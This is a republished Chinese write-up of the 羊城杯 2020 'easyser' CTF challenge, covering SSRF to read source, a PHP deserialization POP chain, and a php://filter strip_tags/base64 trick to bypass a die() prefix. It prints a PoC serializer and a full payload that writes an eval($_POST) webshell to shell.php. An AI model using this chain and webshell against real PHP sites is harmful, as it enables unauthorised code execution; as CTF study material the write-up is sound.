欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 维修 > [羊城杯 2020]easyser

[羊城杯 2020]easyser

2025/2/23 1:11:49 来源:https://blog.csdn.net/weixin_74020633/article/details/139691529  浏览:    关键词:[羊城杯 2020]easyser

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com